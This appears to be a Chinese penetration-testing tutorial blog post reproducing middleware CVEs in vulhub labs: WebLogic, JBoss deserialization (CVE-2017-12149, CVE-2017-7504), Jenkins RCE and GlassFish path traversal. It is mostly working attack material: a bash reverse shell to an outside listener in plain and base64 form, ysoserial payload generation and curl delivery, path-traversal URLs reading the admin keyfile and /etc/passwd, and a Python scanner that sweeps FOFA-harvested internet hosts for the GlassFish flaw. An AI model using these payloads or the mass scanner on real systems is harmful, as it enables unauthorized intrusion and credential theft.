第60天:服务攻防-中间件安全&CVE复现&Weblogic&Jenkins&GlassFish

目录

思维导图

案例一:中间件-Weblogic-工具探测

[案例二: 中间件-JBoos-工具脚本直接利用](#案例二: 中间件-JBoos-工具脚本直接利用)

弱口令

反序列化命令执行漏洞

CVE-2017-12149

CVE-2017-7504

案例三:中间件-Jenkins-工具脚本利用

远程代码执行漏洞

远程命令执行漏洞

案例四:中间件-GlassFish-工具脚本利用


思维导图

案例一:中间件-Weblogic-工具探测

weblogic端口:7001

工具地址: GitHub - ghealer/GUI_Tools: 一个由各种图形化渗透工具组成的工具集

靶场环境

启动利用

输入探测是否有漏洞

有漏洞直接可以命令执行,shell上传

下图所示的都可以用工具一键探测

案例二: 中间件-JBoos-工具脚本直接利用

jboss通常占用的端口为1098,1099,4444,4445,8080,8009,8063,8093

弱口令

fofa搜索: "JBoss" && title=="Welcome to JBoss™"

点击welcome to console

账号密码都是admin,admin

可以尝试进入

反序列化命令执行漏洞

CVE-2017-12149

靶场位置: https://vulhub.org/#/environments/jboss/CVE-2017-12149/

启动docker环境

首先先把反弹shell的语句进行base64位编码

bash -i >& /dev/tcp/192.168.172.132/5566 0>&1

序列化的操作,运行java脚本,echo 后面是反弹shell的base64编码,生成可以利用的poc

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

利用poc进行curl请求/invoker/readonly该地址为进行反序列化的地址,同时kali开启监听

curl http://192.168.172.169:8080/invoker/readonly --data-binary @poc.ser

运行

CVE-2017-7504

靶场环境:https://vulhub.org/#/environments/jboss/CVE-2017-7504/

与CVE-2017-12149命令都一样只是,反序列化请求的地址不同,可以利用同一个poc

该漏洞请求的地址为 /jbossmq-httpil/HTTPServerILServlet,访问该页面存在证明有漏洞

案例三:中间件-Jenkins-工具脚本利用

远程代码执行漏洞

脚本利用地址:GitHub - vulhub/CVE-2017-1000353: jenkins CVE-2017-1000353 POC

该脚本必须使用java"1.8.0_291"才可以正常使用

首先先执行在/tmp下创建一个success文件

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

然后用python脚本执行该poc

python exploit.py http://192.168.172.169:8080 jenkins_poc.ser

进入docker中查看

这里尝试直接利用下面的语句getshell失败,个人猜测,可能是命令太长,各种符号转义了

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -i >& /dev/tcp/192.168.172.132/5566 0>&1"

使用如下命令

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"

这段命令是一个 Bash 命令,它执行以下步骤:

  1. echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx

    • echo:将字符串打印到标准输出。
    • 字符串:"bash -i > /dev/tcp/192.168.172.132/5566 0>&1",这是一个 Base64 编码的字符串。
  2. base64,-d

    • base64,-d:对上一步中的字符串进行 Base64 解码。
  3. bash,-i

    • bash,-i:使用 -i 选项启动一个交互式 Bash shell。

因此,整个命令的功能是:

  1. 解码 Base64 编码的字符串,得到一个 Bash 命令:bash -i > /dev/tcp/192.168.172.132/5566 0>&1
  2. 执行这个 Bash 命令,该命令将打开一个到远程主机的反向 shell 连接(使用 TCP 端口 5566),并使 shell 的输入和输出重定向到该连接。

运行结果

远程命令执行漏洞

靶场环境: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

脚本地址:https://github.com/smokeintheshell/CVE-2018-1000861

首先利用该脚本可以直接执行系统命令

直接利用反弹shell的语句,还是失败,猜测转义导致

bash -i >& /dev/tcp/192.168.172.169/5566 0>&1

利用刚才的语句

python 复制代码
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"

成功

案例四:中间件-GlassFish-工具脚本利用

靶场位置

利用语句

读取网站账号密码:/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile

读取linux passwd:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

读取windows_ini: /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

访问靶场主页面,需要账号密码

直接查看账号密码

查看/etc/passwd

下面是一个python开发的自动化检测是否有直接读取密码,读取linux passwd,Windows ini的脚本

python 复制代码
import requests,time

def read_pass(url):
    urls = 'http://'+url+'/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile'
    try:
        result = requests.get(urls,verify=False).text
        #print(result)
        if 'asadmin' in result:
            print('read_pass:'+ url + '-->ok')
        else:
            print(url + '-->false')
    except Exception as e:
        time.sleep(0.1)

def read_windows(url):
    urls = 'http://'+url+'/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
    try:
        result = requests.get(urls,verify=False).status_code
        if result == 200:
            print('read_windows:'+ url + '-->ok')
        else:
            print(url + '-->false')
    except Exception as e:
        time.sleep(0.1)

def read_linux(url):
    urls = 'http://'+url+'/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    try:
        result = requests.get(urls,verify=False).status_code
        if result == 200:
            print('read_linux:'+ url + '-->ok')
        else:
            print(url + '-->false')
    except Exception as e:
        time.sleep(0.1)


if __name__ == '__main__':
    for url in open("ips.txt"):
        read_pass(url)
        read_windows(url)
        read_linux(url)

fofa搜索:"glassfish" && port="4848" && protocol="http"

利用fofaviewer保存ip到ips.txt利用

运行结果如图,不方便展示。

相关推荐
车载诊断技术1 小时前
电子电气架构 --- 什么是EPS?
网络·人工智能·安全·架构·汽车·需求分析
brrdg_sefg5 小时前
WEB 漏洞 - 文件包含漏洞深度解析
前端·网络·安全
浏览器爱好者5 小时前
谷歌浏览器的网络安全检测工具介绍
chrome·安全
独行soc7 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍11基于XML的SQL注入(XML-Based SQL Injection)
数据库·安全·web安全·漏洞挖掘·sql注入·hw·xml注入
安全方案10 小时前
如何增强网络安全意识?(附培训PPT资料)
网络·安全·web安全
H4_9Y10 小时前
顶顶通呼叫中心中间件mod_cti模块安全增强,预防盗打风险(mod_cti基于FreeSWITCH)
安全·中间件
高工智能汽车10 小时前
频繁拿下定点,华玉高性能中间件迈入商业化新阶段
中间件
Hacker_Oldv11 小时前
网络安全中常用浏览器插件、拓展
安全·web安全
hao_wujing13 小时前
网络安全攻防演练中的常见计策
安全·web安全